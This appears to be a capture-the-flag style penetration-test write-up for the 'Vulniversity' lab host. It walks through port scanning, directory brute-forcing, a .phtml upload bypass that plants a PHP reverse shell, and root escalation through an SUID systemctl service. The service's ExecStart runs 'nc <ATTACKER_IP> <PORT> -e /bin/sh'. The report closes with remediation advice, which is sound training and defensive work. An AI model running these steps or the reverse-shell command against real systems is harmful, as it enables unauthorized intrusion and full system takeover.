

Penetration Testing Report: Vulniversity

Target IP: 10.114.130.207

Date: July 1, 2026

Severity Summary: High / Critical (Full System Compromise)

1. Executive Summary

A comprehensive security assessment was conducted against the target IP 10.114.130.207 (Vulniversity). The objective was to identify potential vulnerabilities, exploit them to gain initial access, and perform privilege escalation to achieve root-level control.

The assessment revealed a critical flaw in a web-based file upload form that lacked proper extension validation. By bypassing this restriction, arbitrary code execution was achieved. Subsequently, a misconfigured SUID binary (`/bin/systemctl`) allowed for an immediate privilege escalation to `root`, resulting in a complete compromise of the host's confidentiality, integrity, and availability.

2. Reconnaissance & Enumeration

Port Scanning (Nmap)

An aggressive Nmap scan was executed to discover open ports, services, and operating system details.

Bash

```
nmap -sV -sC -A -T4 10.114.130.207
```

Discoveries:

- **Port 21/tcp:** FTP (vsftpd 3.0.3)
- **Port 22/tcp:** SSH (OpenSSH 7.2p2 Ubuntu 4ubuntu2.7)
- **Port 139/tcp:** NetBIOS-SSN (Samba)
- **Port 445/tcp:** SMB (Samba 4.3.11-Ubuntu)
- **Port 3128/tcp:** HTTP Proxy (Squid proxy 3.5.12)
- **Port 3333/tcp:** HTTP (Apache httpd 2.4.18)

Key Takeaway: The web server is unexpectedly running on a non-standard port: 3333.

Web Directory Auditing (GoBuster)

Navigating to <http://10.114.130.207:3333/> revealed a standard website. A directory brute-force attack was launched to find hidden directories.

Bash

```
gobuster dir -u http://10.114.130.207:3333/ -w /usr/share/wordlists/dirb/common.txt
```

Discovered Paths:

- [/images](#)
- [/css](#)
- [/js](#)
- [/internal/](#) (Highly Significant)

The [/internal/](#) directory contained a file upload form located at <http://10.114.130.207:3333/internal/index.php>.

3. Initial Access (Vulnerability Exploitation)

Vulnerability Analysis: Arbitrary File Upload

The form at [/internal/](#) allows users to upload files. Initial testing indicated that standard [.php](#) extensions are explicitly blocked by the server ([Extension not allowed](#)).

Intruder Intrusion & Extension Bypass

To determine which extensions were permitted, Burp Suite Intruder was used to fuzz the extension blacklist using a payload list of common PHP alternatives ([.php](#), [.php3](#), [.php4](#), [.php5](#), [.phtml](#)).

- **Result:** The [.phtml](#) extension bypassed the filter successfully, returning a success status.

Execution & Reverse Shell

1. A standard PHP reverse shell script was modified with the attacker's local IP and listening port.
2. The file was saved as [shell.phtml](#) and uploaded via the form.
3. A Netcat listener was started on the local machine: [nc -lvnp <port>](#).
4. The shell was triggered by navigating to:
<http://10.114.130.207:3333/internal/uploads/shell.phtml>.

Result: A low-privilege shell was established as the [www-data](#) user.

- **User Flag Location:** [/home/bill/user.txt](#)

4. Privilege Escalation

Local Enumeration

To escalate privileges, a search for binaries with the **SUID (Set Owner User ID)** bit set was conducted. SUID binaries run with the permissions of the file owner (often [root](#)).

Bash

```
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

Notable Discovery:

- `/bin/systemctl` was found to have the SUID bit set. This utility manages system services and should never run with unverified root privileges via SUID.

Exploitation (SUID Systemctl)

Because `systemctl` runs as root, it can be used to create and run a custom systemd service that executes root-level commands. A temporary service was created to copy the contents of the root flag or spawn a root reverse shell.

Exploit Execution:

Bash

```
# Create a temporary environment variable for a service file
```

```
TF=$(mktemp).service
```

```
# Write a service definition that executes a reverse shell or reads the flag
```

```
echo '[Service]
```

```
Type=oneshot
```

```
ExecStart=/bin/sh -c "nc <ATTACKER_IP> <PORT> -e /bin/sh"
```

```
[Install]
```

```
WantedBy=multi-user.target' > $TF
```

```
# Run the service via the SUID systemctl binary
```

```
/bin/systemctl link $TF
```

```
/bin/systemctl enable --now $TF
```

Upon enabling the service, the system executed the payload as `root`. The netcat listener caught the incoming root connection.

- **Root Flag Location:** `/root/root.txt`

5. Remediation Recommendations

1. **Restrict File Uploads:** Implement robust, allowlist-based file validation on the server side for the `/internal/` upload form. Explicitly permit only necessary file formats (e.g., `.jpg`, `.png`) rather than relying on a blocklist.
2. **Disable Execution in Uploads Directory:** Configure the Apache web server to block the execution of scripts within the `/uploads/` directory using `.htaccess` or global configuration blocks.

3. **Remediate SUID Permissions:** Remove the SUID bit from `/bin/systemctl` (`chmod u-s /bin/systemctl`) unless strictly necessary, as it presents an immediate avenue to full privilege escalation.
4. **Service Hardening:** Run web services with the least privilege possible to minimize damage if an initial foothold is achieved.